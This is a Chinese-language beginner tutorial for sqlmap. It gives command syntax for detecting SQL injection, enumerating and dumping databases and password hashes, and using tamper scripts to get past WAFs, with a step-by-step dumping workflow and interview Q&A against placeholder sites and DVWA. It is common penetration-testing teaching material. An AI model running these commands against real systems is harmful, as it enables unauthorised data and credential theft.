【SqlMap】新手 SqlMap入门
SqlMap 是网络安全领域常用的自动化 SQL 注入工具,基于 Python 开发,官网及 GitHub 可获取资源。新手需掌握核心操作:通过-u指定 URL 并结合-p指定参数检测注入,利用--dbs、-D、--tables等参数逐步获取数据库、表、字段信息,高权限时可用--users、--passwords获取用户密码,脱库时通过--dump导出数据,还可通过--level、--risk提升
文章目录
1 官方简介
SQLmap 是一款自动化的 SQL 注入工具,广泛用于检测和利用 SQL 注入漏洞。
官网:https://sqlmap.org/
GitHub:https://github.com/sqlmapproject/sqlmap
使用手册:https://github.com/sqlmapproject/sqlmap/wiki/Usage
支持语言:python 2.6,2.7,3.x
2 核心命令
功能场景 | 命令格式 | 说明 |
---|---|---|
注入检测 | python sqlmap.py -u "URL?id=1" -p "id" |
-u 指定URL,-p 指定待检测参数,可同时指定多个参数(如-p "id,uid" )。 |
注入检测(请求文件) | python sqlmap.py -r request.txt |
从文件读取HTTP请求进行检测,适用于复杂请求。 |
获取数据库列表 | python sqlmap.py -u "URL" --dbs |
列出所有数据库名称。 |
获取表列表 | python sqlmap.py -u "URL" -D "dbname" --tables |
-D 指定数据库名,获取该库下所有表。 |
获取字段列表 | python sqlmap.py -u "URL" -D "dbname" -T "tablename" --columns |
-T 指定表名,获取该表所有字段。 |
导出数据 | python sqlmap.py -u "URL" -D "dbname" -T "tablename" -C "col1,col2" --dump |
-C 指定字段名,--dump 导出数据,支持CSV格式存储。 |
获取用户信息 | python sqlmap.py -u "URL" --users |
列出数据库用户。 |
获取用户密码 | python sqlmap.py -u "URL" --passwords |
列出用户密码哈希值(高权限时有效)。 |
3 高级参数
- 探测等级:
--level 3
(默认1,最高5),提升至3时会检测Referer等头部注入。 - 风险等级:
-risk 3
(默认1,最高3),增加Payload复杂度。 - 绕过防护:
--tamper "模块名"
,使用tamper
目录下的脚本(如unionallmagic.py
)绕过WAF。 - 自动模式:
--batch
,无需手动确认,自动执行所有操作。 - 脱库示例:
python sqlmap.py -r req.txt --batch -D dvwa -T users -C "user,password" --dump
,导出dvwa库users表的user和password字段。
4 数据脱库完整流程
当某个接口参数通过sqlmap爆出存在注入,则可以继续执行脱库命令。
- 检测注入:
python sqlmap.py -u "http://xxx.com?id=1"
- 获取库名:
python sqlmap.py -u "URL" --dbs
- 获取表名:
python sqlmap.py -u "URL" -D "security" --tables
- 获取字段:
python sqlmap.py -u "URL" -D "security" -T "users" --columns
- 导出数据:
python sqlmap.py -u "URL" -D "security" -T "users" -C "id,username,password" --dump
- 全库导出:
python sqlmap.py -u "URL" -D "security" --dump-all
5 关键问题及答案(面试)
1. 如何快速检测URL是否存在SQL注入?
答案:使用-u
参数指定URL,-p
指定参数,如python sqlmap.py -u "http://xxx.com/page?id=1" -p "id"
,若存在注入,工具会提示注入类型及可利用参数。
2. 脱库时如何逐步获取数据库中的表和字段信息
答案:首先通过--dbs
获取所有数据库名,如--dbs
;然后用-D "库名" --tables
获取指定库的表,如-D security --tables
;接着用-T "表名" --columns
获取表的字段,如-T users --columns
;最后用-C "字段名" --dump
导出数据,如-C "username,password" --dump
。
3. 如何提升SqlMap的探测能力并绕过防护
答案:通过--level 5 -risk 3
提升探测等级(level控制Payload数量,risk控制复杂度),同时使用--tamper "模块名"
调用绕过脚本(如--tamper "space2comment"
将空格替换为注释符),还可通过--referer
伪造请求头,增加注入成功率。
更多推荐
所有评论(0)